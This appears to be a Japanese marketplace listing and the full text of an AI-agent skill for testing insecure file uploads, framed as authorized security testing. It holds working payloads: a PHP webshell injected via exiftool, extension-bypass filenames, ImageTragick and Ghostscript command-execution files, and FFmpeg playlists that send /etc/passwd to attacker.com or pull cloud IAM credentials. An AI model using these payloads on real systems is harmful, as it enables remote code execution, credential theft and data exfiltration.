mcpField
U
upload-insecure-files

upload-insecure-files

github.com/yaklangセキュリティ2.6k3.5k 回インストール6 週間前に更新
リポジトリ

upload-insecure-files について

ファイルアップロード機能を検証、保存、処理、取得の各段階から調べるセキュリティテスト用スキルです。回避手法、アクセス制御の問題、ファイル処理チェーンのリスクを確認します。

主な機能

  1. 01アップロード検証と回避の確認
  2. 02保存パスと取得方法の分析
  3. 03処理チェーンのリスク調査
  4. 04ユーザー間アクセスと上書きのテスト
  5. 05アップロード脆弱性の連鎖の整理

活用シーン

  1. 01拡張子とファイル内容の検証差を確認
  2. 02アップロードファイルの公開アクセスと上書きをテスト
  3. 03サムネイルや文書処理ツールのリスクを分析

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill upload-insecure-files

インストール後、Claude Code で/upload-insecure-filesを入力して読み込まれたか確認します。

同梱ファイルSCENARIOS.md

詳細

SKILL:安全でないファイルのアップロード — 検証の回避、ストレージの悪用、処理チェーン

AI LOAD INSTRUCTION:ファイルアップロード攻撃の専門的なプレイブックです。対象がファイル、インポート、アバター、メディア、ドキュメント、アーカイブを受け付け、検証の回避、ストレージパスの悪用、アップロード後のアクセス、パーサーの悪用、マルチテナント環境での上書き、XSS、XXE、CMDi、トラバーサル、ビジネスロジックへの影響につながる攻撃チェーンまで、全ワークフローを調べる場合に使用します。Web サーバーの解析に関する脆弱性、PUT メソッドの悪用、特定の CVE(WebLogic、Flink、Tomcat)については、関連する SCENARIOS.md を読み込んでください。

0. 関連するルーティング

拡張シナリオ

次の内容が必要な場合は、SCENARIOS.md も読み込んでください。

  • IIS の解析に関する脆弱性 — x.asp/ ディレクトリの解析、; によるセミコロン切り詰め(shell.asp;.jpg)
  • Nginx の解析設定ミス — cgi.fix_pathinfo=1 を使った avatar.jpg/.php
  • Apache の解析 — 複数の拡張子、AddHandler、CVE-2017-15715 の \n(0x0A)による回避
  • PUT メソッドの悪用 — IIS WebDAV の PUT+COPY、Tomcat CVE-2017-12615 の readonly + .jsp/ による回避
  • Web Service Test Page を介した WebLogic CVE-2018-2894 の任意ファイルアップロード
  • パストラバーサルを伴う Apache Flink CVE-2020-17518 のファイルアップロード
  • アップロードと解析の脆弱性を組み合わせた攻撃チェーン — EXIF の PHP コード + Nginx の /.php パス情報
  • 拡張子回避の完全なリファレンステーブル(PHP/ASP/JSP の代替拡張子、大文字小文字の違い、ヌルバイト)

このファイルは、アップロードの詳細なワークフローのリファレンスとして使用してください。以下も読み込んでください。

  • ファイル名、展開先パス、またはインクルードパスがファイルシステムの制御につながる場合は、パストラバーサル LFI
  • アップロードがブラウザー上に表示される場合は、XSS クロスサイトスクリプティング
  • SVG、OOXML、または XML インポートを受け付ける場合は、XXE XML 外部エンティティ
  • プロセッサー、コンバーター、またはメディアパイプラインがシステムツールを実行する場合は、CMDi コマンドインジェクション
  • クォータ、上書きルール、承認、またはストレージパスがロジック上のバグを引き起こす場合は、ビジネスロジックの脆弱性
  • サーバーが Apache Tomcat で、WAF が filename* 内の .jsp をブロックする場合は、ghost-bits-cast-attack。Tomcat の RFC2231Utility は各文字をバイトに切り詰めるため、1.陪sp(U+966A の下位バイト = j)は、WAF に .jsp という文字列を検知されずに、ディスク上へ 1.jsp として書き込まれます。

1. 基本モデル

すべてのアップロード機能について、次の4つの信頼境界をそれぞれ個別にテストしてください。

  1. 受け付け:ファイルが保存される前に、どのような検証が行われますか?
  2. 保存:ファイルはどこに、どのような名前と権限で書き込まれますか?
  3. 処理:バックグラウンドで動作するどのツール、コンバーター、スキャナー、パーサー、または展開ツールがファイルにアクセスしますか?
  4. 配信:そのファイルは後でどのようにダウンロード、表示、変換、共有されますか?

多くの対象では、1つの段階しか検証されません。脆弱性は通常、ファイルをアップロードした段階とは別の段階で発生します。


2. まず確認する偵察事項

ペイロードを選ぶ前に、次の点を確認してください。

  • 許可、拒否、または正規化される拡張子は何ですか?
  • バックエンドは拡張子、MIME タイプ、マジックバイト、またはそのすべてを信頼しますか?
  • ファイルは名前変更、トランスコード、展開、スキャン、または再ホスティングされますか?
  • ファイルの取得は直接、プロキシ経由、署名付き、または CDN 経由ですか?
  • あるユーザーが別のユーザーのファイルパスを予測したり、上書きしたりできますか?
  • ファイル名、メタデータ、またはプレビューが HTML、ログ、管理コンソール、PDF に反映されますか?

3. 検証バイパスマトリクス

検証方式テスト内容
拡張子のブラックリスト二重拡張子、大文字と小文字の切り替え、末尾のドット、代替区切り文字
Content-Type のみmultipart の Content-Type の不一致、ブラウザーとプロキシによる書き換え
マジックバイトのみポリグロットファイル、または有効なヘッダーの後ろに危険なコンテンツがあるファイル
サーバー側でのリネームリネーム後も危険なコンテンツが残り、その後の表示処理に影響するか
画像のみを許可するポリシーSVG、メタデータを含む不正な画像、パーサー間の差異
アーカイブまたはインポートのみzip の内容、ネストされたパス名、XML メンバー、展開時の動作

代表的なバイパスの種類:

shell.php.jpg
avatar.jpg.php
file.asp;.jpg
file.php%00.jpg
file.svg
archive.zip

この小規模なサンプルセットで、以前は単独のアップロードペイロードヘルパーが担っていた主なユースケースをすでに網羅しているため、最初の選定に追加のエントリーは不要です。

アップロードが成功しただけで終わりにしないでください。危険な取得や処理を伴わないアップロードの成功だけでは不十分です。


4. ストレージと取得の悪用

予測可能または制御可能なパス

次のようなパターンを探します。

/uploads/USER_ID/avatar.png
/files/org-slug/report.pdf
/cdn/tmp/<uuid>/<filename>

次の点をテストします。

  • ID、スラッグ、UUID のパターンを推測した他のテナントのデータ読み取り
  • 他のユーザーのファイル名を再利用した上書き
  • ファイル名やアーカイブメンバーにおけるパス正規化の不具合
  • UI レベルのアクセス制御があるにもかかわらず、直接オブジェクト URL から非公開ファイルにアクセスできる
ファイル名を利用したインジェクションの攻撃面

安全なファイルでも、ファイル名が次の場所に反映されると危険になることがあります。

  • ギャラリーの HTML
  • 管理者向けモデレーションパネル
  • PDF/CSV エクスポートジョブ
  • ログ、監査画面、メール通知

ファイル名が反映される場合は、受動的なメタデータではなく、保存された入力として扱ってください。


5. 処理チェーンへの攻撃

最も価値の高いアップロードの脆弱性は、多くの場合、非同期プロセッサーに潜んでいます。

一般的なプロセッサーの種類
プロセッサーリスク
画像のリサイズまたはサムネイル生成パーサー間の差異、ImageMagick やライブラリのバグ、メタデータの反映
動画または音声のトランスコードFFmpeg のような解析処理やプロトコルの悪用
アーカイブの展開zip slip、上書き、展開爆弾
ドキュメントのインポートCSV の数式インジェクション、Office XML の解析、マクロに関連するワークフロー
XML または SVG の解析XXE、SSRF、ローカルファイルの漏えい
HTML から PDF への変換またはプレビューのレンダリングSSRF、スクリプト実行、ローカルファイル参照
AV または DLP スキャンzip の展開深度、隠れたネストコンテンツ、競合状態
実証すべきこと
  1. ファイルがプロセッサーによって処理されること。
  2. プロセッサーの動作がアップロード検証機能の動作と異なること。
  3. その違いによって、読み取り、実行、上書き、SSRF、または保存型クライアントサイド実行の影響が生じること。

6. 影響の大きいエクスプロイト経路

ブラウザーでの実行
  • アクティブコンテンツとして配信される SVG
  • インラインでレンダリングされる HTML またはテキストのアップロード
  • HTML ページに反映される EXIF またはファイル名
XML とドキュメントの解析
  • ファイル読み取りまたは SSRF に悪用される SVG XXE
  • XML エンティティまたはパーサーの悪用につながる OOXML インポート
  • アナリストのワークフローで数式が実行される CSV インポート
サーバー側の実行またはファイルシステムへの影響
  • シェルツールを呼び出す画像またはドキュメント変換ツール
  • 意図されたディレクトリの外部に書き込む zip slip
  • アップロードされたコンテンツが後からインクルード可能になる、アップロードから LFI への連鎖
アクセス制御と共有の不具合
  • 予測可能な URL からアクセスできる非公開アップロード
  • モデレーションまたは隔離用のパスに、引き続き公開アクセスできる
  • あるユーザーが別のユーザーの公開アセットを置き換えられる

7. 認可とビジネスロジックのチェック

アップロード機能には、パーサーに起因しない不具合が隠れていることがよくあります。

  • UI ではアップロードクォータが適用されるが、API では適用されない
  • アップロードページではプランの制限がチェックされるが、インポートエンドポイントではチェックされない
  • 一覧表示ではファイルの所有者がチェックされるが、直接ダウンロードまたは置換のエンドポイントではチェックされない
  • 最終ストレージエンドポイントを直接呼び出すと、承認ワークフローをバイパスできる
  • 削除または置換操作にオブジェクトレベルの認可がない

アップロード経路にアカウント、プロジェクト、または組織の識別子が含まれる場合は、必ず A/B 認可テストを実行してください。


8. テスト手順

  1. 無害なマーカーファイルを1つアップロードし、名前変更、パス、取得の挙動を確認します。
  2. 検証バイパスのサンプルを1つ、アクティブコンテンツのサンプルを1つ試します。
  3. 取得時の挙動が添付、インライン表示、変換プレビュー、バックグラウンド処理のどれかを確認します。
  4. 処理が行われる場合は、プロセッサーの種類ごとに調査します。XSS、XXE、CMDi、zip slip、SSRFなどです。
  5. ファイルID、置換エンドポイント、公開URLについて、テナント境界と上書きのテストを実施します。

9. 連鎖マップ

観察結果次の調査先
SVGまたはXMLを受け付けるxxe xml external entity
ファイル名またはメタデータが反映されるxss cross site scripting
コンバーターまたはプロセッサーがシェルを起動するcmdi command injection
展開先のパスを制御できそうであるpath traversal lfi
上書き、クォータ、承認、またはテナントに関する不具合があるbusiness logic vulnerabilities

10. オペレーターチェックリスト

[] Confirm accept/store/process/serve stages separately
[] Test one extension bypass and one content-based payload
[] Check inline render vs forced download
[] Inspect filenames, metadata, and preview surfaces for reflection
[] Probe processing chain: image, archive, XML, document, PDF
[] Run A/B authorization on read, replace, delete, and share actions
[] Map predictable paths and public/private URL boundaries

11. アップロード成功率モデルと高度な手法

成功率の計算式
P(RCE via Upload) = P(bypass_detection) × P(obtain_path) × P(execute_via_webserver)

多くのテスターはファイル形式チェックのバイパスだけに注目し、次の点を見落とします。

  • パスの特定:アップロード先のパスが分からなければ、バイパスに成功しても役に立ちません
  • サーバーでの解析:.phpファイルをアップロードできても、WebサーバーがPHPとして解析しなければRCEにはなりません
リッチテキストエディターのパス一覧
エディター一般的なアップロードパスバージョンの確認方法
FCKeditor/fckeditor/editor/filemanager/connectors//fckeditor/_whatsnew.html
CKEditor/ckeditor//ckeditor/CHANGES.md
eWebEditor/ewebeditor/管理画面:/ewebeditor/admin_login.asp
KindEditor/kindeditor/attached//kindeditor/kindeditor.js
UEditor/ueditor/net/ または /ueditor/php//ueditor/ueditor.config.js
検証不備の分類(5つの観点)
観点不備の例
場所クライアント側のみ、フロントエンドとバックエンドで一貫性がない
方法拡張子のブラックリスト(不完全)、MIMEチェックのみ、マジックバイトのみ
ロジックの順序実行チェック後に名前を変更する、アップロード全体の完了前に検証する
範囲ファイル名はチェックするがファイル内容はチェックしない、先頭のバイトのみチェックする
実行コンテキストアップロードには成功するが、別の仮想ホスト/ハンドラーがファイルを処理する
レスポンス操作によるバイパス
# If server returns allowedTypes in response for client-side validation:
# Intercept response → modify allowedTypes to include .php → upload .php
# The server never actually validates — it trusts client filtering
IISのセミコロン解析
# IIS treats semicolon as parameter delimiter in filenames:
shell.asp;.jpg    → IIS executes as ASP
# NTFS Alternate Data Stream:
shell.asp::$DATA  → Bypasses extension check, IIS may execute
Apacheの複数拡張子
# Apache parses right-to-left for handler:
shell.php.jpg     → May execute as PHP if AddHandler php applies
# Newline in filename (CVE-2017-15715):
shell.php\x0a     → Bypasses regex but Apache still executes as PHP
Nginxのcgi.fix_pathinfo
# With cgi.fix_pathinfo=1 (PHP-FPM):
/uploads/image.jpg/anything.php → PHP processes image.jpg as PHP!
# Upload legitimate-looking JPG with PHP code embedded

12. ポリグロットファイルの手法

2つ以上の形式として同時に有効なファイルです。形式固有の検証をバイパスしながら、危険なペイロードを届けます。

GIFAR(GIF + JAR)
# GIF header + JAR appended
# GIF89a header (6 bytes) + padding + JAR archive (ZIP format)
# Browser: valid GIF image
# Java: valid JAR archive → applet execution (legacy)

cat header.gif payload.jar > gifar.gif
# Passes image validation, executes as Java applet if loaded via <applet>
PNG + PHPポリグロット
# Inject PHP code into PNG IDAT chunk or tEXt metadata
# The PNG renders as valid image; when included via LFI, PHP code executes

# Method 1: PHP in tEXt chunk
python3 -c "
import struct
png_header = b'\x89PNG\r\n\x1a\n'
# ... minimal IHDR + IDAT + tEXt chunk containing PHP
"

# Method 2: Use exiftool to inject into comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png
# Upload image.png → LFI include → PHP executes from metadata
JPEG + JSポリグロット
# JPEG comment marker (0xFFFE) can contain JavaScript
# If served with Content-Type: text/html (or MIME sniffing active):
exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg

# Combined with content-type confusion → XSS via image upload
PDF + JSポリグロット
# PDF header followed by JS:
%PDF-1.0
1 0 obj<</Pages 2 0 R>>endobj
2 0 obj<</Kids[3 0 R]/Count 1>>endobj
3 0 obj<</MediaBox[0 0 3 3]>>endobj
trailer<</Root 1 0 R>>
*/=alert('XSS')/*

13. ImageMagickの悪用チェーン

CVE-2016-3714(ImageTragick)— Delegates経由のRCE

ImageMagickは、一部の形式変換に「delegates」(外部プログラム)を使用します。細工したファイルによって、シェルコマンドを実行させることができます。

MVG(Magick Vector Graphics)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
SVG delegateの悪用
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px">
  <image xlink:href="https://example.com/image.jpg&quot;|id > /tmp/pwned&quot;" x="0" y="0"/>
</svg>
Ghostscriptの悪用

ImageMagickはPDF/PS/EPSの処理にGhostscriptを使用します。Ghostscriptでは、サンドボックスを複数回回避できる脆弱性が発生しています。

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdeviceprops

.eps、.ps、または.pdfとしてアップロード → ImageMagickがGhostscriptを呼び出す → RCE。

緩和策の確認
□ Is ImageMagick policy.xml restricting dangerous coders?
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
□ Is Ghostscript updated and sandboxed (-dSAFER)?

14. FFmpegのSSRFとローカルファイル読み取り

HLSプレイリストによるファイル読み取り
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLIST

.m3u8または.tsとしてアップロード → FFmpegが処理 → ファイルの内容がヘッダーと結合され、攻撃者のサーバーに送信されるか、出力動画に埋め込まれます。

HLS経由のSSRF
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST

FFmpegがサーバー側でURLを取得 → クラウドメタデータエンドポイントへのSSRF。

concatプロトコルによるローカルファイルインクルード
#EXTM3U
#EXTINF:1,
concat:file:///etc/passwd|subfile,,start,0,end,0,,:
#EXT-X-ENDLIST
AVI + 字幕によるSSRF

URLを参照する字幕トラックを含むAVIを作成します。

ffmpeg -i input.avi -vf "subtitles=http://169.254.169.254/latest/meta-data/" output.avi

15. クラウドストレージへのアップロードに関する考慮事項

S3 の署名付き URL の悪用
# Presigned URL generated for specific key and content-type:
PUT https://bucket.s3.amazonaws.com/uploads/avatar.jpg
  ?X-Amz-Algorithm=AWS4-HMAC-SHA256&...&X-Amz-SignedHeaders=host;content-type

# Abuse: if content-type is NOT in SignedHeaders:
# Change Content-Type from image/jpeg to text/html → upload XSS payload
# The signature remains valid because content-type wasn't signed

# If path is not signed (only prefix):
# Change key from uploads/avatar.jpg to uploads/../admin/config.json

監査チェックリスト:

□ Which headers are included in SignedHeaders? (must include content-type)
□ Is the full key path signed or just a prefix?
□ Is the upload bucket the same as the serving bucket? (write to CDN-served bucket → stored XSS)
□ Is the ACL signed? (prevent setting public-read on sensitive uploads)
Azure Blob Storage の SAS トークン
# SAS token scope issues:
# Container-level SAS with write permission → write to ANY blob in container
# Service-level SAS → may allow listing/reading other blobs
# Check: sr= (signed resource), sp= (signed permissions), se= (expiry)
GCS の署名付き URL
# Similar to S3 — check if Content-Type is included in signature
# Resumable upload URLs may have broader permissions than intended
# V4 signed URLs: verify X-Goog-SignedHeaders includes content-type

16. CONTENT-TYPE 検証のバイパス

二重拡張子
shell.php.jpg          → Apache with AddHandler may execute as PHP
shell.asp;.jpg         → IIS semicolon truncation
shell.php%00.jpg       → Null byte truncation (PHP < 5.3.4, old Java)
shell.php.xxxxx        → Unknown extension → Apache falls back to previous handler
MIME スニッフィングの悪用

サーバーが Content-Type を送信せず、X-Content-Type-Options: nosniff も指定されていない場合:

# Upload file with HTML/JS content but image extension
# Browser MIME-sniffs content → executes as HTML
# Works for stored XSS even when extension validation passes
Content-Type ヘッダーと拡張子の不一致
# Upload request:
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Type: image/jpeg

# File content: <?php system($_GET['cmd']); ?>

# Server trusts Content-Type header (image/jpeg) → passes validation
# But stores with .php extension based on other logic → executes as PHP
大文字・小文字の違い
shell.PhP    shell.pHP    shell.Php
shell.aSp    shell.jSp    shell.ASPX
末尾の文字
shell.php.      → trailing dot (Windows strips it)
shell.php::$DATA → NTFS alternate data stream (IIS)
shell.php\x20   → trailing space
shell.php%20    → URL-encoded space

コメント